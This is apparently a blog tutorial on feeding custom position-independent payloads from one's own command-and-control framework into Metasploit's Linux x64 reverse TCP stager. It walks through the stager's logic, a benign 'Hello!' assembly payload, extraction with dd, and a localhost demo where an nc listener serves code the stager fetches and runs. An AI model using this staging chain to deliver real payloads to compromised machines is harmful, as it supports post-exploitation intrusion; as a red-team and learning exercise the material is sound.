Why?
You want to make your C2 framework interoperable with metasploit framework so that you can deliver your own payloads post-exploit (Cobalt Strike does this).
When?
Your payload is position-independent code, fits within 4096 bytes, and delivering your payload in the clear is an acceptable indicator of compromise.
How?
This is a worked exampled for Linux x64 architecture.
Inspecting metasploit's stager code
Take a look at the source for stager_sock_reverse - the stager for linux/x64/shell/reverse_tcp
.
Here's what's going on:
- It allocates 4k of RAM for your payload,
- connects to
LHOST
:LPORT
over TCP, - reads max 4k into RAM, and
- jumps to the start of your payload.
Note that LHOST
and LPORT
are hardcoded as 127.0.0.1
(0x0100007f
) and 5555
(0xb315
) respectively from movabs $0x100007fb3150002, %rcx
. We don't care about this in the general case, because metasploit will override them based on our exploit options, but it matters for this demonstration.
Crafting a Hello World payload
This assembler is the bare minimum for a print statement that exits cleanly:
.global _start
_start:
movabs $0x0A0D216f6c6c6548, %rcx # "Hello!\r\n"
push %rcx
mov %rsp, %rsi # const char *buf
mov $1, %rdi # int fd (stdout)
mov $8, %rdx # size_t size
mov $1, %rax # sys_write
syscall
mov $0, %rdi # int error_code
mov $60, %rax # sys_exit
syscall
nop # 0x90
We compile like so:
$ gcc -s -static -nostdlib hello_world.s -o hello_world
This gives us an ELF executable (which is much more than we want):
$ file hello_world
hello_world: ELF 64-bit LSB executable, x86-64,
version 1 (SYSV), statically linked, stripped
We can find the offset to the code we want with hexdump (note, that our nop
instruction is 90
in hex and is at position 0x1036):
$ hexdump -C hello_world
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
...snip...
*
00001000 48 b9 48 65 6c 6c 6f 21 0d 0a 51 48 89 e6 48 c7 |H.Hello!..QH..H.|
00001010 c7 01 00 00 00 48 c7 c2 08 00 00 00 48 c7 c0 01 |.....H......H...|
00001020 00 00 00 0f 05 48 c7 c7 00 00 00 00 48 c7 c0 3c |.....H......H..<|
00001030 00 00 00 0f 05 90 00 2e 73 68 73 74 72 74 61 62 |........shstrtab|
We can then extract just our payload with dd:
$ dd if=hello_world ibs=1 \
skip=$((0x1000)) count=$((0x36)) of=payload
Putting it all together
First, we serve our payload at the default LPORT
:
$ nc -nlvp 5555 < payload &
Listening on 0.0.0.0 5555
Next we compile metasploit's stager from a local checkout:
$ gcc -nostdlib metasploit-framework/external/source/shellcode/linux/x64/stager_sock_reverse.s \
-o stager_sock_reverse
Then we run the stager which grabs the payload and it executes:
$ ./stager_sock_reverse
Connection received on 127.0.0.1 38126
Hello!
Success!
Top comments (0)